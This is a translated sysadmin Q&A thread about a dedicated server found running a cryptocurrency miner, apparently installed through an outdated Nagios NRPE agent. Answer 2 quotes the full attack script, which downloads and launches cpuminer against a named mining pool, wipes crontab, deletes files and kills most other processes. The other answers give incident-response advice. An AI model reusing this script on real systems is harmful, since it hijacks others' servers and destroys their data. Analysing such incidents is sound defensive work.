我运行一个专用服务器,最近我注意到 CPU 使用率很高,并检查了进程。看来有人(mick 帐户)正在我的服务器上挖矿。这怎么可能?流程如下。我已暂停该帐户。我还需要做什么?
25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
答案1
如果您运行的 Web 服务器允许服务器端脚本(php、ruby 等),那么这很容易做到。
用户所要做的就是生成一个脚本,将文件下载到/tmp/sh64
然后运行它。 Web 脚本通常需要能够执行外部程序,因此此类活动很难防止。
如果该mick
帐户与用于运行用户的网络脚本的帐户相同,那么我会说不,您没有被黑客攻击。只是一个用户滥用他们的帐户。
如果您想防止这种行为,有几种方法可以防止它。您可以禁止调用外部程序。或者您可以执行诸如终止长时间运行的程序之类的操作(例如,任何运行时间超过 60 秒的程序)。
如果不了解有关设置的更多详细信息,则很难确定最佳的操作方案。
答案2
我有类似的问题。他们利用 Nagios NRPE 代理的过时版本来运行一个wget
脚本,该脚本安装并配置了 Sourceforge 的比特币挖矿程序(NRPE 守护进程已dont_blame_nrpe
启用)。我还没有发现任何表明我的机器上的尝试是持久的。
这是用于安装和设置比特币矿工的脚本:
#!/bin/bash
miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then
system=`uname -a`
i686=`echo $system|grep i686`
if ! [ -z "$i686" ]
then
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
else
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
fi
dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /var/tmp/ trying in /dev/shm
if [ -z "$myproc" ]
then
#dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /tmp/ trying in /tmp
if [ -z "$myproc" ]
then
dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
crontab -r
fi
crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'
该脚本完全以 Nagios 用户身份运行,因此不需要任何 root 访问权限。
答案3
您的系统肯定已被破坏,或者最坏的情况是被黑客入侵。还有其他故事描述了正在安装的类似矿机。
我会采取这样的立场:您的系统已受到损害,并启动其中的所有关键内容,以便您在尚未备份的情况下对其进行备份。
分析
如果您好奇他们是如何进入的,您需要获取已安装的服务(Web、MySQL 等)的完整列表,并查看是否存在任何允许某人获得提升权限的活动漏洞。
我将从任何基于网络的应用程序的网络支持开始。通常情况下,这些应用程序可能会发生缓冲区溢出并修改 Web 服务器的堆栈,以便安装其他应用程序。
事实上,这些类型的危害可能是孤立的事件,因此只需删除有问题的软件和恶意软件就足以将其根除,而无需花费时间来完全恢复/设置系统。
如果这个系统是使用基于 VPS 的映像构建的,那么我会与提供商合作,因为修补它似乎符合他们所有客户的最大利益。
不仅仅是损害网络堆栈
盒子上的所有东西都必须经过仔细检查,而且本质上是不值得信任的,但我会花一些时间看看你是否无法弄清楚攻击者是从哪里登录的,如果有的话。他们可能使用在破坏系统后添加到系统中的 SSH 帐户进行登录。
这可能是一项艰巨的任务,需要花费很多天的时间来进行分析,特别是如果您不能信任包装盒上的任何工具来协助完成这项工作。我鼓励任何人花时间了解他们的系统是如何受到损害的,以便您可以降低未来再次发生这种情况的风险,至少通过这个特定的媒介。
如果这不是生产类型的问题,那么这实际上是一个很好的学习机会,可以深入了解系统如何受到损害以及潜在攻击者如何“利用”访问权限。
一线希望?
由于该系统用于采矿目的,因此他们很可能使用了自动脚本工具集,因为攻击足够多的系统来设置僵尸矿工似乎需要花费大量时间。当使用诸如此类的工具时,它们的构造通常很粗劣,只是只想做最低限度的工作来获得立足点,然后交付它们的有效负载(挖掘软件),因此您可能会幸运并获得一些额外的见解他们是如何进入的。